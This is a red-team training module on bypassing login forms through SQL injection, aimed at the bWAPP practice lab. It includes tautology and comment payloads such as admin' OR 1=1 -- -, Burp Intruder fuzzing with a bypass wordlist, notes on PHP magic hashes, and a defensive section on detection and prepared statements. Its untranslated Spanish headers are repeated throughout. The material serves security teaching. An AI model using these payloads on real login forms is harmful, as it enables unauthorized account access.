📕 FIELD MANUAL 2.1: AUTHENTICATION BYPASS (LOGIN)
Objective: We will bypass authentication mechanisms without knowing legitimate credentials.
Classification: RED TEAM EYES ONLY
Objective: We will bypass authentication mechanisms without knowing the legitimate credentials.
bWAPP Targets: SQL Injection (Login Form/Hero), SQL Injection (Login Form/User).
MITRE ATT&CK: T1078 (Valid Accounts), T1190.
1. INTEL & RECON: THE “DOORMAN” LOGIC
Sección titulada «1. INTEL & RECON: LA LÓGICA DEL “PORTERO”»To bypass a login, we must visualize the code that is executing in the backend.
The Vulnerable Code (The Blind Doorman)
Sección titulada «El Código Vulnerable (El Portero Ciego)»The vast majority of vulnerable logins follow this SQL structure:
SELECT * FROM users WHERE username = '$user' AND password = '$password';If this query returns at least one row, the application will let us in. Generally, the first row in the users table is the Administrator (id=1).
Our Mission
Sección titulada «Nuestra Misión»We have two ways to win this battle:
- Tautology: Making the
WHEREcondition alwaysTRUE(True), regardless of the password. - Mutilation (Commenting): We will remove the part of the query that verifies the password.
2. WEAPONIZATION: INTRUSION TECHNIQUES
Sección titulada «2. WEAPONIZATION: TÉCNICAS DE INTRUSIÓN»TECHNIQUE A: The Universal Bypass (Tautology)
Sección titulada «TÉCNICA A: El Bypass Universal (Tautología)»We want to inject a condition that is always true.
-
Logic:
OR 1=1(Or one equals one). Since 1 is always equal to 1, the database will accept the input. -
The Payload:
admin' OR 1=1 -- - -
What the server sees:
SELECT * FROM users WHERE username = 'admin' OR 1=1 -- -' AND password = '...';Analysis: The database will read: “Is the user admin? (Maybe not) OR Is 1 equal to 1? (YES)”. Since there is a
ORand one part is true, everything is true. The dashes (--) will comment and cancel the verification of the remaining password.
TECHNIQUE B: The “Silent Killer” (Commenting)
Sección titulada «TÉCNICA B: El “Asesino Silencioso” (Commenting)»If we know the username (e.g., admin, root, administrator), we will simply tell the database to ignore the rest.
-
The Payload:
admin' -- -(Note: The space after the dashes is vital in MySQL).
-
Payload (MSSQL):
admin' -- -
Payload (Hash/MySQL):
admin' # -
What the server sees:
SELECT * FROM users WHERE username = 'admin' -- -' AND password = '...';Analysis: Everything after
admin'will be converted into a comment. The effective query isSELECT * FROM users WHERE username = 'admin'. If the user exists, we will log in without a password.
TECHNIQUE C: “Blind” Bypass (Without knowing the username)
Sección titulada «TÉCNICA C: Bypass “A Ciegas” (Sin saber el usuario)»What if we don't know that the admin is named “admin”? We will use the tautology to log us in as the first user in the table (which is usually the Super Admin).
-
Payload in Username field:
' OR 1=1 -- -Result: The query will look for anything or
1=1. It will return the first row of the table. Access granted asid=1.
3. AUTOMATION: FUZZING WITH BURP SUITE
Sección titulada «3. AUTOMATION: FUZZING CON BURP SUITE»Sometimes WAFs block OR 1=1. We will need to test hundreds of variations.
- Capture: We will intercept the failed login attempt in Burp Proxy.
- Intruder: We will send the request to Intruder (
Ctrl + I). - Payloads: We will select the user field and load a list of “Auth Bypass” (Seclists has
Generic-SQLi-Auth-Bypass.txt).- Examples:
' OR '1'='1" OR "1"="1admin' --admin' #' OR TRUE --
- Examples:
- Attack: We will launch the attack and look for responses that have a different length (Length) or a 302 Redirect status code (success).
4. ESCALATION: WHAT IF IT IS NOT ENOUGH? (MAGIC HASHES)
Sección titulada «4. ESCALADA: ¿Y SI NO ES SUFICIENTE? (MAGIC HASHES)»Reference to “Master Plan - Phase 2”
In old or poorly coded PHP systems, SQL injection is sometimes combined with “Type Juggling”.
If the application does this after the query:
// Comparación débil (==) en lugar de estricta (===)if ($hash_de_la_db == "0e12345...") { ... }We can try to inject values that generate hashes starting with 0e (which PHP interprets as scientific notation 0).
- Practical Case: It is rare to see it purely in SQLi nowadays, but we will keep this in mind if classical injection fails but we see strange behaviors in PHP errors.
5. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «5. VISIÓN DEL EQUIPO PURPLE (DEFENSA)»🕵️ Detection (IoC - Indicators of Compromise)
Sección titulada «🕵️ Detección (IoC - Indicadores de Compromiso)»- Authentication Logs: We look for users that contain non-alphanumeric characters (
',-,#,=) in the username field.- Log Example:
Login success for user: admin' --
- Log Example:
- Massive Attempts: Multiple login attempts from the same IP in less than a second (use of Burp Intruder).
- Concurrent Sessions: If the legitimate admin is connected and suddenly another session is opened from a China IP with the same user, red alert.
🛡️ Mitigation
Sección titulada «🛡️ Mitigación»-
Principle of Least Privilege: The application should not connect to the DB as
rootorsa. -
Prepared Statements (ALWAYS):
// El WAF no es suficiente. Esto es lo único que funciona.$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :user AND password = :pass');$stmt->execute(['user' => $user, 'pass' => $pass]);By parameterizing, the database literally looks for a user named
admin' OR 1=1, which does not exist.
Status: Module 2.1 Completed. Mission: We will go to bWAPP -> SQL Injection (Login Form/Hero) and attempt to enter without knowing the password.

